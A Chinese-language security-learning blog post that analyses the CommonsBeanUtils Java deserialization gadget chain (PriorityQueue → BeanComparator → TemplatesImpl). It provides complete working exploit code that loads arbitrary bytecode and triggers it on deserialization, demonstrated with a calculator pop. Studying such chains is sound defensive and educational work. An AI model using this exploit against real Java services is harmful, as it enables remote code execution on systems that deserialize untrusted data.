java反序列化之CB

SoloWalker Lv3

java反序列化之CB

CommonsBeanUtils 简介

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean

先说说什么是 JavaBean。

一般 JavaBean 的格式就是private的字段和对字段进行读写操作的public方法,最常见的就是gettersetter

CommonsBeanUtils 这个包也可以操作 JavaBean,例如:

1
2
3
4
5
6
7
8
9
10
11
public class Baby {  
private String name = "abc";

public String getName(){
return name;
}

public void setName (String name) {
this.name = name;
}
}

这里定义了两个简单的gettersetter,如果用@Lombok的注解也是一样的,使用 @Lombok 的注解不需要写 gettersetter。例如:

1
2
3
4
5
6
@Data  // 或者 @Getter @Setter
public class User {
private String name;
private int age;
// 不需要写 getter/setter,Lombok 会在编译时自动生成
}

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:

1
2
3
4
5
6
7
8
9
package org.example;

import org.apache.commons.beanutils.PropertyUtils;

public class test {
public static void main(String[] args) throws Exception{
System.out.println(PropertyUtils.getProperty(new Baby(),"name"));
}
}

此时,Commons-BeanUtils 会自动找到name属性的getter,然后调用并获得返回值。这种形式是有可能实现任意函数调用的。

CB 链分析

链尾

链子的尾部是通过TemplatesImpl动态加载字节码进行攻击的,来看一下链子:

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

在链子的开头TemplatesImpl#getOutputProperties()这个方法就是一个getter,而且作用域是public,所以可以通过 CommonsBeanUtils 中的 PropertyUtils.getProperty() 方式获取。

所以我们这里的PropertyUtils.getProperty()的参数应该这么传:

1
2
// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)

中间部分

接下来看看谁调用了PropertyUtils.getProperty()BeanComparator.compare()中调用了PropertyUtils.getProperty方法,而这个方法经常被其他方法调用。继续找谁调用了compare()方法,参考之前的链子,这里用PriorityQueue这个类,这个类的siftDownUsingComparator() 方法调用了 compare()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

剩下的就和 CC4、CC2的一样了,回顾一下调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject()
PriorityQueue.heapify() ->

PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() ->

BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
->
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

CB 链 EXP 编写

尾部——利用 TemplatesImpl 动态加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {

public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","abc");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
}

这里和之前的 CC4、CC2 相比用函数简化了一部分代码。

中间 EXP

先看一下BeanComparator.compare()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( T o1, T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

先判断this.property是否为空,如果为空,则直接比较两个对象;如果不为空,则调用PropertyUtils.getProperty()分别取两个对象的this.property属性并比较值。

如果需要传值比较,就要新建一个PriorityQueue队列,并让其有两个值进行比较,而且PriorityQueue的构造函数当中就包含了一个比较器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {

public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","abc");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();

final BeanComparator<Object> beanComparator = new BeanComparator<>();
setFieldValue(beanComparator, "property", "outputProperties");
final PriorityQueue<Object> queue = new PriorityQueue<>(2, beanComparator);
queue.add(templates);
queue.add(templates);
}
}

成功弹出计算器。

结合入口的 EXP

我们需要控制在序列化的时候不弹出计算器,在反序列化的时候弹出计算器,所以通过反射来修改值。

因为在add时就会触发compare()方法,所以我们先给add传无关量,然后反射修改。

完整 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {

public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","abc");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//templates.newTransformer();

final BeanComparator<Object> beanComparator = new BeanComparator<>();

final PriorityQueue<Object> queue = new PriorityQueue<>(2, beanComparator);
queue.add(1);
queue.add(1);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
serialize(queue);
unserialize("ser.bin");
}
}

接下来理清链子的逻辑:

  1. 反序列化时,调用了PriorityQueuereadObject()方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
    }

    读取到两个TemplatesImpl对象并放到新的数组中,然后调用heapify()进行重建。这就是为什么会有setFieldValue(queue,"queue",new Object[]{templates,templates})这一步。此时PriorityQueue的内部状态为:数组中有两个TemplatesImpl对象,size属性为2,comparator属性为beanComparator

  2. 然后调用heapify()方法:

    1
    2
    3
    4
    private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--) //这里计算后i=0
    siftDown(i, (E) queue[i]); //siftDown(0,queue[0])
    }

    其中调用了siftDown(0, templates)

    1
    2
    3
    4
    5
    6
    private void siftDown(int k, E x) {
    if (comparator != null)
    siftDownUsingComparator(k, x);
    else
    siftDownComparable(k, x);
    }

    由于一开始已经传入comparator,所以会调用siftDownUsingComparator(0, templates)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1; //half=1
    while (k < half) {
    int child = (k << 1) + 1; //=1
    Object c = queue[child];//queue[1] = templates
    int right = child + 1;//=2
    if (right < size &&
    comparator.compare((E) c, (E) queue[right]) > 0)
    c = queue[child = right];
    if (comparator.compare(x, (E) c) <= 0) //此处调用
    break;
    queue[k] = c;
    k = child;
    }
    queue[k] = x;
    }

    此时就会调用beanComparator.compare(templates, templates)

  3. 进入BeanComparator.compare()阶段:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public int compare( T o1, T o2 ) {

    if ( property == null ) {
    // compare the actual objects
    return internalCompare( o1, o2 );
    }

    try {
    Object value1 = PropertyUtils.getProperty( o1, property );
    Object value2 = PropertyUtils.getProperty( o2, property );
    return internalCompare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
    throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    }
    catch ( InvocationTargetException ite ) {
    throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
    throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    }
    }

    在 EXP 中我们已经反射将property设置为outputProperties,所以就会调用PropertyUtils.getProperty(templates, "outputProperties"),从而达到了我们在分析时想要的效果。

至此,利用链思路梳理完毕。

接下来是对部分 EXP 代码的解释:

1
final PriorityQueue<Object> queue = new PriorityQueue<>(2, beanComparator);

这里传了一个2,来看一下构造器:

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

这个构造器中对queue这个数组进行一个初始化,确定要放几个恶意类,和 EXP 中反射修改该数组对应。

总结

这个链子正着看其实很好理解,但是反着来推比正着来读还是要难一点的。目前我找链子的理解就是:先主要看对应方法的调用,找完这个链子之后再把对应参数放进去,从入口开始推一遍,确定其中的参数传递没有问题并且能够实现调用即可。

  • 标题: java反序列化之CB
  • 作者: SoloWalker
  • 创建于 : 2026-05-21 00:00:00
  • 更新于 : 2026-05-24 19:52:54
  • 链接: https://s0lowalker.github.io/2026/05/21/java反序列化之CB/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论